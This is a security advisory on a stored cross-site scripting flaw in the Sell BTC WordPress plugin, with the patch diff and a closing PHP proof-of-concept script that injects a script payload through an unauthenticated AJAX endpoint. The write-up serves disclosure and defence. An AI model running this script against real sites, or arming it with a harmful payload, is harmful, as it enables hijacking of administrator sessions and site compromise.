Atomic Edge analysis of CVE-2025-14554:
The Sell BTC – Cryptocurrency Selling Calculator WordPress plugin contains an unauthenticated stored cross-site scripting vulnerability in versions up to and including 1.5. The vulnerability exists in the order data display functionality within the admin dashboard, allowing attackers to inject malicious scripts that execute when administrators view the Orders page. This vulnerability received a CVSS score of 7.2 (High severity).
The root cause is insufficient output escaping when rendering user-supplied order data in the plugin’s admin interface. The vulnerable code in sell-btc-by-hayyatapps/Pages/orders.php lines 27-35 and 46-53 directly concatenates user-controlled data from the $data array into HTML output without proper escaping. The affected fields include happs-FirstName, happs-LastName, happs-Email, happs-Phone, and several other order data fields. This lack of escaping allows JavaScript payloads to persist in the database and execute in the browser context of administrators viewing the orders.
Exploitation occurs via the ‘orderform_data’ AJAX action endpoint at /wp-admin/admin-ajax.php. Unauthenticated attackers can send POST requests with action=orderform_data containing malicious JavaScript payloads in any of the user-controlled fields. The plugin stores these values without proper sanitization. When an administrator accesses the Orders page in the WordPress admin dashboard (wp-admin/admin.php?page=sell-btc-orders), the malicious scripts execute in the administrator’s browser session, potentially leading to session hijacking or administrative account compromise.
The patch in version 1.6 adds WordPress esc_attr() function calls to all user-controlled data outputs in the orders.php file. Each concatenated data field now passes through esc_attr() before being inserted into HTML table cells and paragraph elements. This ensures that any HTML special characters, including angle brackets and quotes, are properly encoded as HTML entities, preventing script execution while preserving the data’s display value. The version number in sell-btc.php also increments from 1.5 to 1.6.
Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of WordPress administrators. This can lead to complete site compromise through session hijacking, administrative credential theft, backdoor installation via plugin/theme editing, or content manipulation. Attackers could also redirect administrators to phishing pages or perform actions on their behalf, potentially resulting in full control over the WordPress installation and associated data.
--- a/sell-btc-by-hayyatapps/Pages/orders.php
+++ b/sell-btc-by-hayyatapps/Pages/orders.php
@@ -27,15 +27,15 @@
$data = $data_all[$i];
echo '
<tr>
-<td>'.$data["happs-FirstName"].'</td>
-<td>'. $data["happs-LastName"].'</td>
-<td>'. $data["happs-Email"].'</td>
-<td>'. $data["happs-Phone"].'</td>
-<td>'.$data["hidden-calc-from"]." ".$data["hidden-calc-amount"].' </td>
-<td>'.$data["hidden-calc-to"].'</td>
-<td>'.$data["hidden-calc-rate"].'</td>
-<td>'. $data["hidden-calc-fee"].'</td>
-<td>'. $data["hidden-calc-getamount"].'</td>
+<td>'. esc_attr( $data["happs-FirstName"]).'</td>
+<td>'. esc_attr( $data["happs-LastName"]).'</td>
+<td>'. esc_attr( $data["happs-Email"]).'</td>
+<td>'. esc_attr( $data["happs-Phone"]).'</td>
+<td>'. esc_attr( $data["hidden-calc-from"])." ".esc_attr($data["hidden-calc-amount"]).' </td>
+<td>'. esc_attr( $data["hidden-calc-to"]).'</td>
+<td>'. esc_attr( $data["hidden-calc-rate"]).'</td>
+<td>'. esc_attr( $data["hidden-calc-fee"]).'</td>
+<td>'. esc_attr( $data["hidden-calc-getamount"]).'</td>
<td><span data-happs-view-id="'.$i.'">View<span></td>
</tr>
@@ -46,14 +46,14 @@
<tr style="text-align:left;background-color: #00bcd412;display:none;" happs-detail-id="'.$i.'">
<td colspan="10">
-<p><b>Address Line 1:</b> '.$data["happs-AddressLine1"].'</p>
-<p><b>Address Line 2:</b> '.$data["happs-AddressLine2"].'</p>
-<p><b>City:</b> '.$data["happs-City"].'</p>
-<p><b>State:</b> '.$data["happs-State"].'</p>
-<p><b>Country:</b> '.$data["happs-Country"].'</p>
-<p><b>Custom Message:</b> '.$data["happs-CustomMessage"].'</p>
-<p><b>Untitled Input 1:</b> '.$data["happs-UntitledInput1"].'</p>
-<p><b>Untitled Input 2:</b> '.$data["happs-UntitledInput2"].'</p>
+<p><b>Address Line 1:</b> '.esc_attr($data["happs-AddressLine1"]).'</p>
+<p><b>Address Line 2:</b> '.esc_attr($data["happs-AddressLine2"]).'</p>
+<p><b>City:</b> '.esc_attr($data["happs-City"]).'</p>
+<p><b>State:</b> '.esc_attr($data["happs-State"]).'</p>
+<p><b>Country:</b> '.esc_attr($data["happs-Country"]).'</p>
+<p><b>Custom Message:</b> '.esc_attr($data["happs-CustomMessage"]).'</p>
+<p><b>Untitled Input 1:</b> '.esc_attr($data["happs-UntitledInput1"]).'</p>
+<p><b>Untitled Input 2:</b> '.esc_attr($data["happs-UntitledInput2"]).'</p>
</td>
</tr>
--- a/sell-btc-by-hayyatapps/sell-btc.php
+++ b/sell-btc-by-hayyatapps/sell-btc.php
@@ -10,7 +10,7 @@
* Plugin Name: Sell BTC By HayyatApps
* Plugin URI: https://hayyatapps.com/sell-btc-by-hayyatapps/
* Description: Sell bitcoin and other cryptocurrencies on your website with option to set custom margins at the backend from your WordPress Admin Dashboard.
- * Version: 1.5
+ * Version: 1.6
* Author: Hayat Developers | Sell BTC By HayyatApps - Made for WordPress
* Author URI: https://hayyatapps.com
* Text Domain: Sell BTC By HayyatApps
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14554 - Sell BTC - Cryptocurrency Selling Calculator <= 1.5 - Unauthenticated Stored Cross-Site Scripting via 'orderform_data' AJAX Action
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// XSS payload that will execute when admin views orders page
$xss_payload = '<script>alert(document.domain)</script>';
// Prepare malicious order data with XSS payload
$post_data = array(
'action' => 'orderform_data',
'happs-FirstName' => $xss_payload,
'happs-LastName' => 'Test',
'happs-Email' => 'test@example.com',
'happs-Phone' => '1234567890',
'hidden-calc-from' => 'BTC',
'hidden-calc-amount' => '1',
'hidden-calc-to' => 'USD',
'hidden-calc-rate' => '50000',
'hidden-calc-fee' => '0.5',
'hidden-calc-getamount' => '49999.5',
'happs-AddressLine1' => 'Test Address',
'happs-City' => 'Test City',
'happs-State' => 'Test State',
'happs-Country' => 'Test Country',
'happs-CustomMessage' => 'Test message',
'happs-UntitledInput1' => 'Test input 1',
'happs-UntitledInput2' => 'Test input 2'
);
// Initialize cURL session
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
echo "Payload injected. Visit wp-admin/admin.php?page=sell-btc-orders as admin to trigger XSS.n";
}
// Close cURL session
curl_close($ch);
?>